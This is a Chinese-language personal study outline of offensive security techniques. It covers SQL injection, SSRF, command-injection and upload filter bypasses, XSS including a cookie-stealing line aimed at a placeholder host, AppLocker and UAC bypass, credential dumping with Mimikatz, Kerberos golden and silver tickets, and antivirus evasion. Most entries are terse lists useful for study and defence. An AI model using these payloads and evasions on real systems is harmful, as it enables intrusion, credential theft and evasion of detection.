个人知识体系

一部分，有时间再改改。

# 个人介绍
自学了python爬虫 django web开发 php审计 最近在学java
大学计算机应用技术 开设javase javaweb csharp unity

阅读了tp源代码 分析多版本RCE

1月份Java审计jndi rmi weblogic t3反序列化 xmldecoder shiro rememberme fastjson 

跟踪分析最新漏洞 写写东西

内网看了github的内网渗透

# SQL注入
分类
1. 联合
2. 盲注
3. 报错
4. 堆叠
5. 宽字节
6. header注入

注入位置
1. select * from wp_inject where id='1'
2. select * from wp_user where 1='inject'
3. select * from wp_user where 1='1' order by inject
4. select * from wp_user where 1=1 order by 1 limit inject

bypass
1. 大小写
2. 双写
3. 打乱正则 注释/**/ 换行%0A
4. 等价函数
5. 超长字符串
6. 畸形http协议 分块传输
7. 容器特性
8. 堆叠 MSSQL declare hex MYSQL prepare execute
9. 盲注过滤逗号 ord(trim(leading 'a' from 'asd'))

文件操作
1. MySQL into outfile自动换行 dumpfile 日志getshell load_file() load data读文件拓展攻击面
2. MSSQL xp_cmdshell sp_oamethod 读文件BULK INSERT 表 from '文件名'
3. PostgreSQL copy from copy to
4. Redis config set 写web目录 写ssh 写计划任务

# XXE
1. 回显
2. 无回显 伪协议带外
3. XXE到RCE ntlm中继

拓展使用SSRF，Linux读本地dtd文件。

# SSRF
首先确定协议
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3e7f91e7-6163-afe7-a34d-250068d3a552.png)
1. SFTP
2. FTP
3. Dict
4. gopher
5. TFTP
6. file
7. ldap

gopher 可用GET/POST 万精油协议

bypass:
1. 解析url缺陷 http://A.com@10.10.10.10
2. 短网址
3. 进制转换
4. 省略模式
5. js跳转
6. xip.io
7. 手动加端口
8. 127。0。0。1
9. dns重绑定
10. ipv6

实际利用
1. fastcgi
2. redis未授权
3. MySQL未授权

# 命令执行
bypass
1. ${IFS}代替空格
2. $变量拼接
3. 管道符| <>重定向
4. base64
5. 单引号双引号反斜线花括号 ca''t fla""g ca\t fl\ag {cat,./flag}
6. 构造文件 c>wget a>wget t>wget 然后sh wget
7. 反引号`` `id` ``

# 文件包含
1. 本地文件包含 
2. 远程文件包含 

限制：open_basedir allow_url_include allow_url_fopen on

bypass
1. 包含session、log、ssh
2. 包含php://input 需要allow_url_include on
3. 伪协议相关 php://filter读文件 phar:// zip://
4. 限制前缀 ../
5. 限定后缀 file.php?file=http://127.0.0.1/index.txt? 或者#锚点
6. 最大长度截断 00截断

# bypass disable_function
1. dl putenv LD_PRELOAD劫持环境变量
2. sendmail
3. php7 exp
4. win com
5. 其他函数
6. 攻击php-fpm

# XSS
1. 反射
2. 存储
3. dom

限制：同源策略、chrome xss auditor、csp

同源策略
1. 同协议、域名、端口

限制cookie、dom、ajax

跨域
1. jsonp
2. html跨域标签

csp
1. location.href='xx.com?'+document.cookie
2. link引用css <link src='aa.com?'+document.cookie>
3. iframe 通过B页面操作A页面的dom

扫内网IP：其实就是WebRTC判断内网网段，然后引用内网资源

# 文件上传
校验方
1. 客户端js校验
2. 服务端 文件头 文件内容 后缀(白名单、黑名单、关键字)
3. waf

bypass
1. 禁用js
2. content/type
3. gif89a
4. 白名单 解析漏洞 /1.asp/1.jpg 1.asp;.jpg 1.php.owf.rar 1.jpg/.php
5. 黑名单 1.php345 phtml 大小写 双写 ::$DATA 空格 分号 点 cer asa
6. 截断 1.php%00.jpg 1.jpg/%20\0.php
7. 畸形数据包 文件包含 垃圾数据 filename

# 代码相关
PHP：
1. preg正则回溯
2. 亦或webshell
3. 反序列化 `__wakeup()` 漏洞：当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
4. phar:// 拓展反序列化攻击面
5. thinkphp 源码阅读 RCE
6. 7.2之后php特性assert preg/e unserialize()提供过滤

JAVA:
1. JNDI
2. RMI
3. shiro
4. fastjson
5. weblogic

审计关键字

```java
readObejct()      反序列化
parseObject()
readUnshared()
parse()           XXE
HttpURLConnection SSRF
HttpClient
${}               SQL
execute()
query()
FileOutputStream  上传
BufferedOutputStream
new File()
Runtime.getRuntime.exec 命令执行
ProcessBuilder
lookup()          JNDI注入
invoke()          反射
```

Python：
1. 多线程、多进程、协程 线程池、队列 锁
2. SQL盲注 二分法
3. django flask web开发

# 提权
1. exp
2. 数据库
3. 第三方服务
4. stealtoken
5. suid

MySQL udf、mof提权 mssql2005 xp_cmdshell默认system权限 postgresql调用so库提权 oracle提权(存储过程、反序列化)

计划任务文件可控 敏感信息 

# bypass uac
1. 计划任务
2. 劫持系统dll

msf和cs内置有插件。

# bypass applocker
微软白名单绕过
1. 利用hta文件
2. 利用jscript
3. 利用powershell
4. 利用InstallUtil
5. 利用regsvcs
6. rundll32.exe
7. msbuild
8. 注入system进程

# 内网渗透
收集信息
1. nbtscan
2. 网络拓扑 arp netstat
3. 安装软件
4. net view net time net share
5. hostname
6. net user /domain net localgroup /domain net accounts /domain
7. dsquery ldap AdFind
8. nltest /domain_trusts
9. findstr /si password *.txt
10. spn
11. sysvol gpp
12. ipc链接
13. vpn ssh密码 bat

抓密码
1. Mimikatz wce
2. procdump
3. sqldumper
4. ssp

Kerberos认证
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/f2dbd1e7-0a8b-62f3-e359-2fbd525e3299.png)


票据
1. 金票
2. 银票

黄金票据的前提：
1. 域名称
2. 域SID
3. krbtgt账户密码
4. 伪造用户名

白银票据的前提
1. 域名称
2. 域SID
3. 域的服务账户的密码hash
4. 伪造用户名

黄金白银票据不同之处

1. 访问权限不同
Golden Ticket是伪造的TGT(Ticket Granting Ticket)，所以可以获取任何Kerberos服务权限。
Silver Ticket是伪造的TGS，也就是说其范围有限，只能访问指定的服务权限

2. 加密方式不同
Golden Ticket是由krbtgt的hash加密
Silver Ticket是由服务账户（通常为计算机账户）hash加密

3. 认证流程不同
Golden Ticket在使用的过程需要同域控通信
Silver Ticket在使用的过程不需要同域控通信

# 横向移动
1. pass the hash
2. 17010
3. 14068
4. gpp
5. web或其他服务

# 权限维持
太多了，不在这写了。

# 免杀
webshell查杀
1. 正则匹配 D盾
2. openrasp
3. 深度学习
4. 沙盒

绕过
1. 算法加密
2. 打乱正则
3. 反序列化
4. 变量覆盖
5. 文件包含
6. 无中生有
7. java反射
8. 信息不对称 文件名 请求头

上线
1. openssl流量加密
2. 白加黑
3. pyinstaller aeskey 打包 go打包
4. 外部输入loader 二次dnsloader
5. powershell混淆 定位特征码 填充花指令 替换资源 加壳


# 逆向
1. 反虚拟机反调试反沙箱
 - 加壳
 - 进程判断
 - sleep 600 时间验证

# 算法及设计模式
1. 代理模式
电影院在电影播放开始、结束的时候插广告。一句话就是不对原有代码进行修改就对原有功能进行拓展。aop切面编程
 - 动态代理
 - 静态代理
2. 设计模式

工厂模式

- 简单工厂 switch 判断用户传入型号返回具体对象
- 工厂方法 抽象出来整个工厂 不同型号的车使用不同的工厂
- 抽象工厂 抽象出来整个产品 不同型号的车的不同配件交给不同工厂做

单例模式
- Runtime 保证只有一个实例运行 写文件操作

# 有趣的姿势
tomcat不出网回显 内存无日志shell
weblogic IIOP 2551 重写 IOPProfile